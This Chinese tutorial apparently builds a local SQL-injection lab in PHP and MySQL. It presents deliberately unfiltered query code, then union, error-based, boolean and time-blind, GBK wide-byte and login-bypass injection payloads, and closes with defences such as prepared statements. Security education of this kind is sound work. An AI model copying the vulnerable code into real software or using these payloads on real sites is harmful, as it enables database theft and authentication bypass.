测试环境:

Apache2.4

php7.4

MySQL8.0.22

PHP + MySQL

通过PHP 可以操作MySQL中的数据,但首先需要解决的问题是PHP如何连接到MySQL?

有以下三种方式:

  • MySQLi (面向对象)
  • MySQLi (面向过程)
  • PDO(PHP Data Objects)

区别在于:PDO 应用在 12 种不同数据库中, MySQLi 只针对 MySQL 数据库。

MySQLi 和 PDO在PHP安装时大多数情况下是自动安装的,可能需要做的是在PHP配置文件 php.ini中开启相应模块(去掉前面的分号),安装情况可通过phpinfo()进行查看。

修改php.ini

通过phpinfo() 查看

三种连接方式示例:

MySQLi (面向对象)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$servername = "localhost";
$username = "username";
$password = "password";

// 创建连接
$conn = new mysqli($servername, $username, $password);

// 检测连接
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
echo "连接成功";
?>

MySQLi (面向过程)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$servername = "localhost";
$username = "username";
$password = "password";

// 创建连接
$conn = mysqli_connect($servername, $username, $password);

// 检测连接
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
echo "连接成功";
?>

PDO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$servername = "localhost";
$username = "username";
$password = "password";

try {
$conn = new PDO("mysql:host=$servername;", $username, $password);
echo "连接成功";
}
catch(PDOException $e)
{
echo $e->getMessage();
}
?>

以下测试代码使用MySQLi (面向过程)进行连接,部分代码参考于sqlilabs源码。

回显注入

回显注入是指我们的查询内容会显示到页面中,造成的原因之一是没有对用户输入的参数进行过滤。

测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
echo "SQL常规回显注入环境"."<hr>";
// 连接mysql
$conn = mysqli_connect('localhost', 'root', '123456');

//判断连接是否成功
if (!$conn){
die ("连接MySQL发生错误:" . mysqli_error($conn));
}

// 选择库 test
mysqli_select_db($conn, 'test') or die ("无法正确连接到数据库!");

//取消报错显示
error_reporting(0);

// 接收参数id
if(isset($_GET['id'])){
$id=$_GET['id'];
// 执行sql语句并返回结果
$sql = "SELECT * FROM user WHERE id='$id' LIMIT 0,1";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if ($row) {
echo 'Your username:'. $row['username'] . '<br>';
echo 'Your password:' .$row['password'] . '<hr>';
}else{
echo mysqli_error($conn) . "<hr>";
}
}
else{ echo "Please input the ID as parameter with numeric value" . "<hr>";}

echo '执行的SQL语句:'. $sql;
?>

对应页面如下:

注入语句:

1
/?id=-1' union select 1,(select database()),(select version())--+

注入结果:

防御代码:

1
2
// 对输入的参数进行过滤
$id=addslashes($id);

效果:

image-20210307192422989

报错注入

报错注入是指页面不返回内容数据,无法从回显结果获得信息;但是一般都会保留SQL的报错函数mysqli_error() ;通过extractvalue UpdateXml floor等函数构造错误的语句以从报错信息中获得想要的信息。造成的原因之一也是没有对用户输入的参数进行过滤,导致了用户可以输入非预期的内容从而获得敏感的数据,只不过报错注入是利用错误信息回显。

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
echo "SQL报错注入环境"."<hr>";
// 连接mysql
$conn = mysqli_connect('localhost', 'root', '123456');

//判断连接是否成功
if (!$conn){
die ("连接MySQL发生错误:" . mysqli_error($conn));
}

// 选择库 test
mysqli_select_db($conn, 'test') or die ("无法正确连接到数据库!");

//取消报错显示
error_reporting(0);

// 接收参数id
if(isset($_GET['id'])){
$id=$_GET['id'];
// 执行sql语句并返回结果
$sql = "SELECT * FROM user WHERE id='$id' LIMIT 0,1";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if ($row) {
echo 'You are in ...<hr>';
}
else{
echo mysqli_error($conn) . "<hr>";
}
}
else{ echo "Please input the ID as parameter with numeric value" . "<hr>";}

echo '执行的SQL语句:'. $sql;
?>

对应页面如下:

注入语句:

1
/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

注入结果:

防御措施:

对输入的参数进行过滤,并取消报错信息显示等。

盲注

盲注指无法利用回显和报错信息等情况,进行的一种sql注入方法。

盲注主要分为两种:

  • 布尔盲注:通过判断页面响应情况判断是否存在注入点。
  • 时间盲注:利用页面加载时间来判断后端数据库是否执行了我们构造的sql语句,本质还是没有对用户输入的参数进行处理,导致了用户可以随意闭合,构造自己需要的sql语句。

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
echo "SQL盲注环境"."<hr>";
// 连接mysql
$conn = mysqli_connect('localhost', 'root', '123456');

//判断连接是否成功
if (!$conn){
die ("连接MySQL发生错误:" . mysqli_error($conn));
}

// 选择库 test
mysqli_select_db($conn, 'test') or die ("无法正确连接到数据库!");

//取消报错显示
error_reporting(0);

// 接收参数id
if(isset($_GET['id'])){
$id=$_GET['id'];
// 执行sql语句并返回结果
$sql = "SELECT * FROM user WHERE id='$id' LIMIT 0,1";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if ($row) {
echo 'You are in ...<hr>';
}
else{
echo 'You are not in ...' . "<hr>"; // 布尔盲注
//echo 'You are in ...<hr>'; // 时间盲注
}
}
else{ echo "Please input the ID as parameter with numeric value" . "<hr>";}

echo '执行的SQL语句:'. $sql;
?>

布尔盲注对应页面:

添加单引号后不报错,但页面响应不同

注入语句:

1
2
/?id=1' and length(database())>5--+
/?id=1' and length(database())>3--+

注入结果:

上面结果说明当前数据库名字的长度在3~5之间,以此类推,可得到其他信息。

时间盲注对应页面:

添加单引号后不报错,且页面响应相同

注入语句:

1
2
3
/?id=1' and if(1=0,1,sleep(5))--+
/?id=1' and if(length(database())=4,sleep(5),1)--+
/?id=1' and if(ascii(substr(database(),1,1))=116,sleep(5),1)--+

注入结果:

防御措施:

对输入的参数进行过滤等。

宽字节注入

当mysql数据库采用GBK编码时可能存在宽字节注入。

宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围),而当我们输入有单引号时会自动加入\进行转义而变为\’(在PHP配置文件中magic_quotes_gpc=On的情况下或者使用addslashes函数,icov函数,mysql_real_escape_string函数、mysql_escape_string函数等,提交的参数中如果带有单引号’,就会被自动转义\’,使得多数注入攻击无效),由于宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,将后面的一个字节与前一个大于128的ascii码进行组合成为一个完整的字符,此时’前的\就被吃了,我们就可以使用’了,利用这个特性从而可实施SQL注入的利用。最常使用的宽字节注入是利用%df,其实我们只要第一个ascii码大于128就可以了,比如ascii码为129的就可以,即为%81。

参考文章:浅谈对宽字节注入的认识

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
echo "SQL宽字节注入环境"."<hr>";
// 连接mysql
$conn = mysqli_connect('localhost', 'root', '123456');

//判断连接是否成功
if (!$conn){
die ("连接MySQL发生错误:" . mysqli_error($conn));
}

// 选择库 test
mysqli_select_db($conn, 'test') or die ("无法正确连接到数据库!");

//取消报错显示
error_reporting(0);

//设置GBK编码
mysqli_query($conn, 'set names gbk');

// 接收参数id
if(isset($_GET['id'])){
$id=$_GET['id'];
// addslashes()函数,在预定义符号前添加反斜杠
$id=addslashes($id);
// 执行sql语句并返回结果
$sql = "SELECT * FROM user WHERE id='$id' LIMIT 0,1";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if ($row) {
echo 'Your username:'. $row['username'] . '<br>';
echo 'Your password:' .$row['password'] . '<hr>';
}else{
echo mysqli_error($conn) . "<hr>";
}
}
else{ echo "Please input the ID as parameter with numeric value" . "<hr>";}

echo '执行的SQL语句:'. $sql;
?>

对应页面如下:

注入语句:

1
/?id=-1%df' union select 1,(select @@datadir),(select @@version_compile_os)--+

注入结果:

防御措施:

设置MySQL的字符集为 UTF-8。

POST注入

当对以POST方式提交的参数无任何的过滤,直接拼接用户名和密码来从数据库中直接查询结果并实现登录等情况,可直接构造一个sql语句越过密码的确认,也就是俗称的万能密码admin' --+admin'#

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<!DOCTYPE html>
<html>
<head>
<title>SQL注入测试</title>
<meta charset="utf-8"/>
</head>

<body>
<form action="./sql_login.php" method="post">
<div>
用户名:<input type="text" name="username" />
</div>
<div>
密码:<input type="password" name="password" />
</div>
<input type="submit" value="提交" />
</form>
<div>
<?php
// 连接mysql
$conn=mysqli_connect('localhost', 'root', '123456');
//判断连接是否成功
if (!$conn){
echo '连接MySQL发生错误:'.mysqli_error($conn);
}
// 选择库
mysqli_select_db($conn, 'test') or die ("无法正确连接到数据库!");
// 设置utf-8编码
mysqli_query($conn, 'set names utf-8');
// 取消报错显示
error_reporting(0);
// 接收参数
$username=$_POST['username'];
$password=$_POST['password'];
// 拼接sql语句并执行
$sql="SELECT * FROM user WHERE username='$username' and password='$password' LIMIT 0,1";
if($result=mysqli_query($conn, $sql)){
$row=mysqli_fetch_array($result, MYSQLI_BOTH);
if ($row){
echo $row["username"] . ",您已登录成功!" . "<hr>";
} else {
echo "登录失败,用户名或密码错误!" . "<hr>";
}
}else {
echo "(请输入正确的用户名和密码进行登录)" . "<hr>";
}
echo 'SQL拼接结果:'.$sql;
?>
</div>
</body>
</html>

对应页面如下:

image-20210307173151304

构造万能密码登录:

以其他方式进行注入:

注入漏洞的防御

代码方向

  1. 对用户输入数据进行转义,例如addslashes() 函数在指定的预定义字符前添加反斜杠,把'转义为\'
  2. 对特定的关键词进行匹配过滤。如可以检测selectfromunion等关键词,将其过滤。
  3. 对数据类型及数据长度进行严格限定,防止用户输入过多的无用数据。
  4. 采用sql语句预编译,SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面无论输入的是什么,都不会影响该sql语句的 语法结构。
  5. 使用正则表达式过滤传入的参数。

服务器方向

  1. 对数据库采用最小权限分配,如普通用户与系统管理员用户的权限进行严格的区分,这样即使可以拿到权限也不会造成更大的损失。
  2. 避免显示SQL执行报错的信息,防止报错信息被利用。
  3. 数据层的编码统一,防止过滤模型被绕过。

参考资料

[1] 常见的sql注入环境搭建

[2] 第十一周:手工测试之前编写的注入环境